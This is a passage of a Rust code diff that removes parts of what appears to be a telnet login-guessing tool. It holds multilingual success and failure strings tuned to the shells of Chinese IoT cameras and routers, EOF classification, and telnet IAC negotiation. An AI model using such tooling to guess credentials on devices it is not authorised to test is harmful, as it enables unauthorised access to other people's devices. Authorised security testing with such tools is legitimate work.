">", "~", "%", " # ", " ~# ", " /# ", " ~ # ", " / # ", - "~ ", "% ", "~$", - - // Common login success / welcome messages (English + multilingual) - "last login", "welcome", "welcome to", "logged in", - "login successful", "authentication successful", "successfully authenticated", - "motd", "message of the day", "have a lot of fun", - "you have mail", "you have new mail", - "press any key", "continue", "enter command", "available commands", "type help", - - // User/host prompts - "user@", "root@", "admin@", "ubuntu", "debian", "centos", "red hat", "fedora", - "freebsd", "openbsd", "[root@", "[admin@", "bash-", "sh-", - "root:~#", "root:/#", "root@(none):/#", "root@(none):~#", - - // Network device prompts - "router>", "router#", "switch>", "switch#", - "cisco", "ios>", "ios#", - - // Multilingual welcomes (existing + expanded) - "bienvenido", "conectado", "bienvenue", "connecté", "bem-vindo", "willkommen", "angemeldet", - "benvenuto", "connesso", "добро пожаловать", "подключен", - "欢迎", "已连接", "ようこそ", "接続されました", - - // === Chinese IoT / IP camera / router specific (niche, exotic, from real device dumps) === - "~ #", "/ #", "~#", "/#", - "built-in shell (ash)", - "enter 'help' for a list of built-in commands.", - "/bin/sh: can't access tty; job control turned off", - "busybox v", - "busybox built-in shell", - "welcome to faraday", - "welcome to faraday busybox", - "faraday busybox", - "[root@gm]#", "root@gm", - "[root@dvrdvs /]#", - "dvrdvs#", - "hi3518", "hi3516", "hi3536", "hisilicon", - "xm#", "xiongmai#", "xmeye#", - "gm8136", "gm8135", "grainmedia", - "", "[huawei]", "huawei>", "huawei#", - "welcome visiting huawei", "huawei home gateway", "huawei terminal", - "zte>", "zxa", "zxan#", "zxa10#", - "fiberhome>", "fiberhome#", - "tp-link>", "tp-link router", - "tenda>", "tenda technology", - "xiaoqiang#", "miwifi#", "xiaomi router", - "欢迎使用", "欢迎登录", "欢迎访问", "欢迎光临", "欢迎来到", - "欢迎使用本系统", "欢迎使用该终端", "欢迎使用该设备", - "欢迎您", "欢迎您登录", "您已成功登录", - "登录成功", "成功登录", "认证成功", "成功认证", "认证通过", - "已登录", "连接成功", "已连接", "会话已建立", - "系统就绪", "终端就绪", "终端准备就绪", - "v380#", "v380 pro#", "yyp2p#", - "jovision#", "tiandy#", "uniview#", - "escam#", "besder#", "wanscam#", "vstarcam#", - "annke#", "sv3c#", "foscam#", - "comfast#", "wavlink#", "kuwfi#", - "ipcamera login", - "ont#", "gpon#", "home gateway", - "copyright huawei technologies", "copyright (c) huawei", - "vrp", "versatile routing platform", - "autenticación exitosa", "login exitoso", - "authentification réussie", "autenticação bem-sucedida", - "authentifizierung erfolgreich", "autenticazione riuscita", - "аутентификация успешна", "认证成功", "認証成功", - ].iter().map(|s| s.to_string()).collect(), - - // Failure indicators - English + Multi-language support - vec![ - // English - "incorrect", "failed", "denied", "invalid", "authentication failed", - "% authentication", "% bad", "access denied", "login incorrect", - "permission denied", "not authorized", "authentication error", - "bad password", "wrong password", "authentication failure", - "login failed", "invalid login", "invalid password", "invalid username", - "bad username", "user unknown", "unknown user", "connection refused", - "connection closed", "connection reset", "too many", "maximum", - // Spanish - "incorrecto", "fallido", "denegado", "inválido", "autenticación fallida", - "acceso denegado", "permiso denegado", "no autorizado", - // French - "incorrect", "échoué", "refusé", "invalide", "authentification échouée", - "accès refusé", "permission refusée", "non autorisé", - // Portuguese - "incorreto", "falhou", "negado", "inválido", "autenticação falhou", - "acesso negado", "permissão negada", "não autorizado", - // German - "falsch", "fehlgeschlagen", "verweigert", "ungültig", "authentifizierung fehlgeschlagen", - "zugriff verweigert", "berechtigung verweigert", "nicht autorisiert", - // Italian - "errato", "fallito", "negato", "non valido", "autenticazione fallita", - "accesso negato", "permesso negato", "non autorizzato", - // Russian - "неправильный", "не удалось", "отказано", "недействительный", "аутентификация не удалась", - "доступ запрещен", "разрешение отклонено", "не авторизован", - // Chinese - "错误", "失败", "拒绝", "无效", "认证失败", - "访问被拒绝", "权限被拒绝", "未授权", - // Japanese - "間違っている", "失敗", "拒否", "無効", "認証失敗", - "アクセス拒否", "許可拒否", "未承認", - ].iter().map(|s| s.to_string()).collect(), - ) -} - -/// Strip ANSI escape sequences from terminal output for cleaner parsing -/// Handles CSI sequences like \x1b[31m (colors), \x1b[2J (clear screen), etc. -#[derive(Debug)] -enum EofType { - CleanClose, // Server properly closed connection (e.g., logout) - AbruptDisconnect, // Connection reset or network error - PartialData, // Got some data then EOF -} - -fn classify_eof(response: &str, login_sent: bool, pass_sent: bool, cycle: i32) -> EofType { - if response.is_empty() { - // No data received before EOF - if cycle == 0 { - // EOF immediately after connect - not a telnet server - EofType::CleanClose - } else { - // EOF after some cycles - abrupt disconnect - EofType::AbruptDisconnect - } - } else { - // Some data received before EOF - let response_lower = response.to_lowercase(); - - // Check for clean logout indicators - let clean_close_indicators = [ - "logout", "goodbye", "bye", "closed", "disconnected", - "connection closed", "session ended", "logged out" - ]; - - for indicator in &clean_close_indicators { - if response_lower.contains(indicator) { - return EofType::CleanClose; - } - } - - // Check if we got a meaningful response that suggests the connection worked - if (login_sent || pass_sent) && response.len() > 10 { - EofType::PartialData - } else { - EofType::AbruptDisconnect - } - } -} - -fn has_success_indicators(response: &str) -> bool { - if response.len() < 5 { - return false; - } - - let response_lower = response.to_lowercase(); - - // Check for success indicators at the end of response - let success_indicators = [ - "$ ", "# ", "> ", "~ ", "% ", "last login", "welcome", - "login successful", "authentication successful", "logged in", - "access granted", "successfully", "ok", "accepted", - " # ", " ~# ", " /# ", " ~ # ", " / # ", " ~ #", "/ #", "~#", "/#", - "built-in shell", "欢迎", "已经登录", "认证成功" - ]; - - for indicator in &success_indicators { - if response_lower.contains(indicator) { - return true; - } - } - - false -} - -fn is_connection_error(error: &std::io::Error) -> bool { - use std::io::ErrorKind::*; - matches!(error.kind(), - ConnectionReset | ConnectionAborted | ConnectionRefused | - NetworkUnreachable | HostUnreachable | NetworkDown | - BrokenPipe | NotConnected | TimedOut - ) -} - -/// Telnet IAC (Interpret As Command) constants -const IAC: u8 = 255; // 0xFF -const DONT: u8 = 254; // 0xFE -const DO: u8 = 253; // 0xFD -const WONT: u8 = 252; // 0xFC -const WILL: u8 = 251; // 0xFB -const SB: u8 = 250; // 0xFA - Subnegotiation Begin -const SE: u8 = 240; // 0xF0 - Subnegotiation End -const GA: u8 = 249; // 0xF9 - Go Ahead -const EL: u8 = 248; // 0xF8 - Erase Line -const EC: u8 = 247; // 0xF7 - Erase Character -const AYT: u8 = 246; // 0xF6 - Are You There -const AO: u8 = 245; // 0xF5 - Abort Output -const IP: u8 = 244; // 0xF4 - Interrupt Process -const BREAK: u8 = 243; // 0xF3 -const DM: u8 = 242; // 0xF2 - Data Mark -const NOP: u8 = 241; // 0xF1 - No Operation - -/// Telnet option codes -const ECHO: u8 = 1; -const SUPPRESS_GO_AHEAD: u8 = 3; -const TERMINAL_TYPE: u8 = 24; -const WINDOW_SIZE: u8 = 31; -const TERMINAL_SPEED: u8 = 32; -const REMOTE_FLOW_CONTROL: u8 = 33; -const LINEMODE: u8 = 34; -const ENVIRONMENT_VARIABLES: u8 = 36; - -/// Generate IAC response for option negotiation -/// Returns bytes to send in response to server option requests -fn generate_iac_response(cmd: u8, option: u8) -> Vec { - match cmd { - DO => { - // Server wants us to enable an option - // Accept basic options that are safe and commonly used - match option { - ECHO | SUPPRESS_GO_AHEAD => { - // Accept these as they're standard and safe - vec![IAC, WILL, option] - } - TERMINAL_TYPE | WINDOW_SIZE | TERMINAL_SPEED | REMOTE_FLOW_CONTROL | LINEMODE | ENVIRONMENT_VARIABLES => { - // Refuse advanced options we don't implement - vec![IAC, WONT, option] - } - _ => { - // Unknown option - refuse it - vec![IAC, WONT, option] - } - } - } - DONT => { - // Server wants us to disable an option - always comply - vec![IAC, WONT, option] - } - WILL => { - // Server wants to enable an option - // Accept basic options; refuse advanced ones - match option { - ECHO | SUPPRESS_GO_AHEAD => { - vec![IAC, DO, option] - } - TERMINAL_TYPE | WINDOW_SIZE | TERMINAL_SPEED | REMOTE_FLOW_CONTROL | LINEMODE | ENVIRONMENT_VARIABLES => { - vec![IAC, DONT, option] - } - _ => { - vec![IAC, DONT, option] - } - } - } - WONT => { - // Server refuses an option - acknowledge - vec![IAC, DONT, option] - } - _ => vec![] // Unknown command, no response - } -} - -/// Process Telnet IAC commands and return clean application data -/// Handles option negotiation (WILL/WONT/DO/DONT) and strips IAC sequences -/// Returns (clean_data, iac_responses) where iac_responses are bytes to send back -fn process_telnet_iac(data: &[u8]) -> (Vec, Vec) { - let mut result = Vec::with_capacity(data.len()); - let mut iac_responses = Vec::new(); - let mut i = 0; - - while i < data.len() { - if data[i] == IAC { - if i + 1 >= data.len() { - // Incomplete IAC sequence, skip - break; - } - - let cmd = data[i + 1]; - - match cmd { - IAC => { - // Double IAC means literal 0xFF byte - result.push(IAC); - i += 2; - } - WILL | WONT | DO | DONT => { - // Option negotiation: IAC [WILL|WONT|DO|DONT]